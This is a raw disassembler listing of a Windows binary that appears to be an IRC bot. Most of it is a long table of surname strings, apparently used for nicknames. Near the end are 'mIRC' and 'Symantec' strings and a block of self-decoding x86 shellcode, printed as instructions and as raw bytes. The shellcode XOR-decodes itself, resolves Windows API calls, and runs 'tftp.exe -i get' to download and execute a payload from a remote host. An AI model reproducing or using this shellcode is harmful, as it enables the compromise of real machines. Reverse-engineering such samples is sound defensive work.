aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DB70o
align 4
aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB6Co
aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB68o
aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB64o
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB60o
align 4
aFates db 'Fates',0 ; DATA XREF: ___:0042DB5Co
align 10h
aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB58o
align 4
aFarren db 'Farren',0 ; DATA XREF: ___:0042DB54o
align 10h
aFarone db 'Farone',0 ; DATA XREF: ___:0042DB50o
align 4
aFaris db 'Faris',0 ; DATA XREF: ___:0042DB4Co
align 10h
aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB48o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB44o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB40o
align 10h
aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB3Co
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB38o
aEverett db 'Everett',0 ; DATA XREF: ___:0042DB34o
aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB30o
align 4
aEtter db 'Etter',0 ; DATA XREF: ___:0042DB2Co
align 4
aEstes db 'Estes',0 ; DATA XREF: ___:0042DB28o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB24o
align 10h
aErez db 'Erez',0 ; DATA XREF: ___:0042DB20o
align 4
aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB1Co
align 10h
aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB18o
align 4
aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB14o
align 10h
aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB10o
aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB0Co
aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB08o
aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB04o
align 10h
aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB00o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DAFCo
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DAF8o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DAF4o
aEdward db 'Edward',0 ; DATA XREF: ___:0042DAF0o
align 4
aEdner db 'Edner',0 ; DATA XREF: ___:0042DAECo
align 10h
aEdley db 'Edley',0 ; DATA XREF: ___:0042DAE8o
align 4
aEckel db 'Eckel',0 ; DATA XREF: ___:0042DAE4o
align 10h
aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DAE0o
aEardley db 'Eardley',0 ; DATA XREF: ___:0042DADCo
aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DAD8o
align 4
aDussault db 'Dussault',0 ; DATA XREF: ___:0042DAD4o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DAD0o
aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DACCo
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAC8o
aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAC4o
aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAC0o
align 10h
aDoug db 'Doug',0 ; DATA XREF: ___:0042DABCo
align 4
aDoty db 'Doty',0 ; DATA XREF: ___:0042DAB8o
align 10h
aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAB4o
align 4
aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAB0o
align 10h
aDore db 'Dore',0 ; DATA XREF: ___:0042DAACo
align 4
aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAA8o
align 10h
aDonner db 'Donner',0 ; DATA XREF: ___:0042DAA4o
align 4
aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAA0o
aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DA9Co
aDockery db 'Dockery',0 ; DATA XREF: ___:0042DA98o
aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DA94o
aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DA90o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DA8Co
align 10h
aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DA88o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DA84o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DA80o
align 10h
aDicks db 'Dicks',0 ; DATA XREF: ___:0042DA7Co
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DA78o
align 10h
aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DA74o
aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DA70o
align 4
aDenison db 'Denison',0 ; DATA XREF: ___:0042DA6Co
aDenham db 'Denham',0 ; DATA XREF: ___:0042DA68o
align 4
aDenault db 'Denault',0 ; DATA XREF: ___:0042DA64o
aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA60o
align 4
aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA5Co
align 10h
aDeming db 'Deming',0 ; DATA XREF: ___:0042DA58o
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o
align 4
aDelger db 'Delger',0 ; DATA XREF: ___:0042DA50o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA4Co
align 4
aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA48o
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA44o
align 4
aDees db 'Dees',0 ; DATA XREF: ___:0042DA40o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA3Co
aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA38o
align 10h
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA30o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA2Co
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA28o
aDavid db 'David',0 ; DATA XREF: ___:0042DA24o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA20o
aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA1Co
align 4
aDas db 'Das',0 ; DATA XREF: ___:0042DA18o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o
aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA10o
align 10h
aDante db 'Dante',0 ; DATA XREF: ___:0042DA0Co
align 4
aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA08o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA04o
aDaly db 'Daly',0 ; DATA XREF: ___:0042DA00o
align 10h
aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042D9FCo
align 4
aDasilva db 'daSilva',0 ; DATA XREF: ___:0042D9F8o
aCyders db 'Cyders',0 ; DATA XREF: ___:0042D9F4o
align 4
aCvek db 'Cvek',0 ; DATA XREF: ___:0042D9F0o
align 4
aCutler db 'Cutler',0 ; DATA XREF: ___:0042D9ECo
align 4
aCurrier db 'Currier',0 ; DATA XREF: ___:0042D9E8o
aCui db 'Cui',0 ; DATA XREF: ___:0042D9E4o
aCroxton db 'Croxton',0 ; DATA XREF: ___:0042D9E0o
aCroxen db 'Croxen',0 ; DATA XREF: ___:0042D9DCo
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042D9D8o
aCrocker db 'Crocker',0 ; DATA XREF: ___:0042D9D4o
aCrawford db 'Crawford',0 ; DATA XREF: ___:0042D9D0o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9CCo
aCounter db 'Counter',0 ; DATA XREF: ___:0042D9C8o
aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9C4o
align 10h
aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9C0o
aCorey db 'Corey',0 ; DATA XREF: ___:0042D9BCo
align 10h
aConnors db 'Connors',0 ; DATA XREF: ___:0042D9B8o
aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9B4o
align 4
aConcino db 'Concino',0 ; DATA XREF: ___:0042D9B0o
aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9ACo
align 4
aCompton db 'Compton',0 ; DATA XREF: ___:0042D9A4o
; ___:0042D9A8o
aCollis db 'Collis',0 ; DATA XREF: ___:0042D9A0o
align 4
aCollard db 'Collard',0 ; DATA XREF: ___:0042D99Co
aColella db 'Colella',0 ; DATA XREF: ___:0042D998o
aColdren db 'Coldren',0 ; DATA XREF: ___:0042D994o
aCoito db 'Coito',0 ; DATA XREF: ___:0042D990o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D98Co
aClow db 'Clow',0 ; DATA XREF: ___:0042D988o
align 4
aClifton db 'Clifton',0 ; DATA XREF: ___:0042D984o
aClement db 'Clement',0 ; DATA XREF: ___:0042D980o
aClark db 'Clark',0 ; DATA XREF: ___:0042D97Co
align 10h
aClancy db 'Clancy',0 ; DATA XREF: ___:0042D978o
align 4
aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D974o
aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D970o
align 4
aCicero db 'Cicero',0 ; DATA XREF: ___:0042D96Co
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D968o
align 10h
aChurch db 'Church',0 ; DATA XREF: ___:0042D964o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D960o
align 4
aChu db 'Chu',0 ; DATA XREF: ___:0042D95Co
aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D958o
aChristie db 'Christie',0 ; DATA XREF: ___:0042D954o
align 10h
aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D950o
align 4
aChristian db 'Christian',0 ; DATA XREF: ___:0042D94Co
align 4
aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D948o
aChinman db 'Chinman',0 ; DATA XREF: ___:0042D944o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D940o
aChilds db 'Childs',0 ; DATA XREF: ___:0042D93Co
align 10h
aChildress db 'Childress',0 ; DATA XREF: ___:0042D938o
align 4
aChien db 'Chien',0 ; DATA XREF: ___:0042D934o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D930o
align 10h
aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D92Co
align 4
aCherry db 'Cherry',0 ; DATA XREF: ___:0042D928o
align 4
aCheang db 'Cheang',0 ; DATA XREF: ___:0042D924o
align 4
aCharles db 'Charles',0 ; DATA XREF: ___:0042D920o
aChapman db 'Chapman',0 ; DATA XREF: ___:0042D91Co
aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D918o
aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D914o
align 10h
aCavell db 'Cavell',0 ; DATA XREF: ___:0042D910o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D90Co
align 4
aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D908o
align 10h
aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D904o
align 4
aCase db 'Case',0 ; DATA XREF: ___:0042D900o
align 10h
aCascio db 'Cascio',0 ; DATA XREF: ___:0042D8FCo
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D8F8o
align 4
aCarper db 'Carper',0 ; DATA XREF: ___:0042D8F4o
align 4
aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D8F0o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D8ECo
align 10h
aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D8E8o
aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D8E4o
align 10h
aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D8E0o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D8DCo
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D8D8o
aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D8D4o
aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D8D0o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8CCo
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8C8o
align 10h
aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8C4o
align 4
aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8C0o
aCanley db 'Canley',0 ; DATA XREF: ___:0042D8BCo
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8B8o
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8B4o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8B0o
align 4
aCage db 'Cage',0 ; DATA XREF: ___:0042D8ACo
align 4
aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8A8o
align 4
aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8A4o
align 4
aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8A0o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D89Co
aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D898o
align 10h
aBurke db 'Burke',0 ; DATA XREF: ___:0042D894o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D890o
align 10h
aBurden db 'Burden',0 ; DATA XREF: ___:0042D88Co
align 4
aBunton db 'Bunton',0 ; DATA XREF: ___:0042D888o
align 10h
aBullard db 'Bullard',0 ; DATA XREF: ___:0042D884o
aBudding db 'Budding',0 ; DATA XREF: ___:0042D880o
aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D87Co
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D878o
aBrook db 'Brook',0 ; DATA XREF: ___:0042D874o
align 4
aBroca db 'Broca',0 ; DATA XREF: ___:0042D870o
align 10h
aBritz db 'Britz',0 ; DATA XREF: ___:0042D86Co
align 4
aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D868o
aBridges db 'Bridges',0 ; DATA XREF: ___:0042D864o
aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D860o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D858o
; ___:0042D85Co
align 4
aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D854o
aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D850o
align 4
aBreed db 'Breed',0 ; DATA XREF: ___:0042D84Co
align 4
aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D848o
align 4
aBradach db 'Bradach',0 ; DATA XREF: ___:0042D844o
aBradac db 'Bradac',0 ; DATA XREF: ___:0042D840o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D83Co
align 4
aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D838o
align 10h
aBoym db 'Boym',0 ; DATA XREF: ___:0042D834o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D830o
aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D82Co
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D828o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D824o
align 4
aBowers db 'Bowers',0 ; DATA XREF: ___:0042D820o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D81Co
align 10h
aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D818o
aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D814o
align 10h
aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D810o
align 4
aBothman db 'Bothman',0 ; DATA XREF: ___:0042D80Co
aBossi db 'Bossi',0 ; DATA XREF: ___:0042D808o
align 4
aBorden db 'Borden',0 ; DATA XREF: ___:0042D804o
align 10h
aBorack db 'Borack',0 ; DATA XREF: ___:0042D800o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D7FCo
align 4
aBoone db 'Boone',0 ; DATA XREF: ___:0042D7F8o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D7F4o
align 4
aBook db 'Book',0 ; DATA XREF: ___:0042D7F0o
align 10h
aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D7ECo
align 4
aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D7E8o
align 4
aBonham db 'Bonham',0 ; DATA XREF: ___:0042D7E4o
align 10h
aBoner db 'Boner',0 ; DATA XREF: ___:0042D7E0o
align 4
aBologna db 'Bologna',0 ; DATA XREF: ___:0042D7DCo
aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D7D8o
align 4
aBolick db 'Bolick',0 ; DATA XREF: ___:0042D7D4o
align 4
aBolger db 'Bolger',0 ; DATA XREF: ___:0042D7D0o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7CCo
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7C8o
aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7C4o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7C0o
aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7BCo
align 4
aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7B8o
aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7B4o
align 4
aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7B0o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7ACo
align 10h
aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7A8o
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7A4o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7A0o
align 10h
aBisho db 'Bisho',0 ; DATA XREF: ___:0042D79Co
align 4
aBisema db 'Bisema',0 ; DATA XREF: ___:0042D798o
align 10h
aBir db 'Bir',0 ; DATA XREF: ___:0042D794o
aBinion db 'Binion',0 ; DATA XREF: ___:0042D790o
align 4
aBickel db 'Bickel',0 ; DATA XREF: ___:0042D78Co
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D788o
align 10h
aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D784o
aBetti db 'Betti',0 ; DATA XREF: ___:0042D780o
align 10h
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D77Co
align 10h
aBernston db 'Bernston',0 ; DATA XREF: ___:0042D778o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D774o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D770o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D76Co
align 4
aBergson db 'Bergson',0 ; DATA XREF: ___:0042D768o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D764o
align 4
aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D760o
align 4
aBellini db 'Bellini',0 ; DATA XREF: ___:0042D75Co
aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D758o
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D754o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D750o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D74Co
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D748o
align 4
aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D744o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D740o
aBedford db 'Bedford',0 ; DATA XREF: ___:0042D73Co
aBeder db 'Beder',0 ; DATA XREF: ___:0042D738o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D734o
aBean db 'Bean',0 ; DATA XREF: ___:0042D730o
align 4
aBeal db 'Beal',0 ; DATA XREF: ___:0042D72Co
align 4
aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D728o
align 4
aBayo db 'Bayo',0 ; DATA XREF: ___:0042D724o
align 4
aBayles db 'Bayles',0 ; DATA XREF: ___:0042D720o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D71Co
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D718o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D714o
align 10h
aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D710o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D70Co
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D708o
align 10h
aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D704o
aBarry db 'Barry',0 ; DATA XREF: ___:0042D700o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D6FCo
align 10h
aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D6F8o
aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D6F4o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D6F0o
align 10h
aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D6ECo
aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D6E8o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D6E4o
align 10h
aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D6E0o
aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D6DCo
align 4
aBanta db 'Banta',0 ; DATA XREF: ___:0042D6D8o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D6D4o
align 4
aBallew db 'Ballew',0 ; DATA XREF: ___:0042D6D0o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6CCo
align 4
aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6C8o
align 10h
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6C4o
align 4
aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6C0o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6BCo
aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6B8o
aBady db 'Bady',0 ; DATA XREF: ___:0042D6B4o
align 4
aBackus db 'Backus',0 ; DATA XREF: ___:0042D6B0o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6ACo
align 10h
aAzima db 'Azima',0 ; DATA XREF: ___:0042D6A8o
align 4
aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6A4o
align 10h
aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6A0o
aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D69Co
aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D698o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D694o
aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D690o
align 10h
aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D68Co
align 4
aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D688o
align 4
aArky db 'Arky',0 ; DATA XREF: ___:0042D684o
align 4
aArjas db 'Arjas',0 ; DATA XREF: ___:0042D680o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D67Co
align 10h
aArellano db 'Arellano',0 ; DATA XREF: ___:0042D678o
align 4
aArduini db 'Arduini',0 ; DATA XREF: ___:0042D674o
aArbia db 'Arbia',0 ; DATA XREF: ___:0042D670o
align 4
aAntos db 'Antos',0 ; DATA XREF: ___:0042D66Co
align 4
aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D668o
aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D664o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D660o
align 10h
aAndron db 'Andron',0 ; DATA XREF: ___:0042D65Co
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D658o
align 4
aAndo db 'Ando',0 ; DATA XREF: ___:0042D654o
align 4
aAndel db 'Andel',0 ; DATA XREF: ___:0042D650o
align 4
aAnand db 'Anand',0 ; DATA XREF: ___:0042D64Co
align 4
aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D648o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D644o
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D640o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D63Co
align 10h
aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D638o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D634o
aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D630o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D62Co
align 4
aAllison db 'Allison',0 ; DATA XREF: ___:0042D628o
aAleks db 'Aleks',0 ; DATA XREF: ___:0042D624o
align 4
aAlda db 'Alda',0 ; DATA XREF: ___:0042D620o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D61Co
align 4
aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D618o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D614o
align 4
aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D610o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D60Co
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D608o
align 4
aAddison db 'Addison',0 ; DATA XREF: ___:off_42D604o
aAdams db 'Adams',0 ; DATA XREF: ___:0042D600o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D5FCo
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D5F8o
align 10h
byte_431250 db 50h ; DATA XREF: ___:0040ADEFo
; ___:0040ADFCr
db 43h, 2 dup(0)
dword_431254 dd 7C7325h ; DATA XREF: ___:0040AE9Ao
dword_431258 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o
dword_431260 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo
; sub_41AA42:loc_41AB05o
dword_431264 dd 334B32h ; DATA XREF: ___:0040AF94o
dword_431268 dd 5058h ; DATA XREF: ___:0040AF86o
; sub_41AA42+AAo
dword_43126C dd 4B32h ; DATA XREF: ___:0040AF76o
; sub_41AA42+98o
dword_431270 dd 454Dh ; DATA XREF: ___:0040AF5Do
; sub_41AA42+7Eo
dword_431274 dd 3839h ; DATA XREF: ___:0040AF4Do
; sub_41AA42+6Co
dword_431278 dd 544Eh ; DATA XREF: ___:0040AF3Do
; sub_41AA42+5Ao
dword_43127C dd 3539h ; DATA XREF: ___:0040AF2Fo
; sub_41AA42+46o
dword_431280 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao
dword_431288 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co
; sub_40AFEA+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o
; sub_418211+5o
align 4
jmp short loc_431298
; ---------------------------------------------------------------------------
loc_431296: ; CODE XREF: ___:loc_431298p
jmp short loc_43129D
; ---------------------------------------------------------------------------
loc_431298: ; CODE XREF: ___:00431294j
call loc_431296
loc_43129D: ; CODE XREF: ___:loc_431296j
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_4312A4: ; CODE XREF: ___:004312A9j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_4312A4
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_4312BA: ; CODE XREF: ___:004312BFj
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_4312BA
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_43135C
jnz short loc_431348
retn
; ---------------------------------------------------------------------------
loc_431348: ; CODE XREF: ___:00431345j
; ___:00431355j
call near ptr loc_43134D+1
loc_43134D: ; CODE XREF: ___:loc_431348p
add [edx+0], ch
call sub_43135C
jz loc_431348
retn
; =============== S U B R O U T I N E =======================================
sub_43135C proc near ; CODE XREF: ___:00431340p
; ___:00431350p
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_43135C endp
; ---------------------------------------------------------------------------
align 4
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40C124+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o
align 4
dd 5 dup(0)
dword_431408 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r
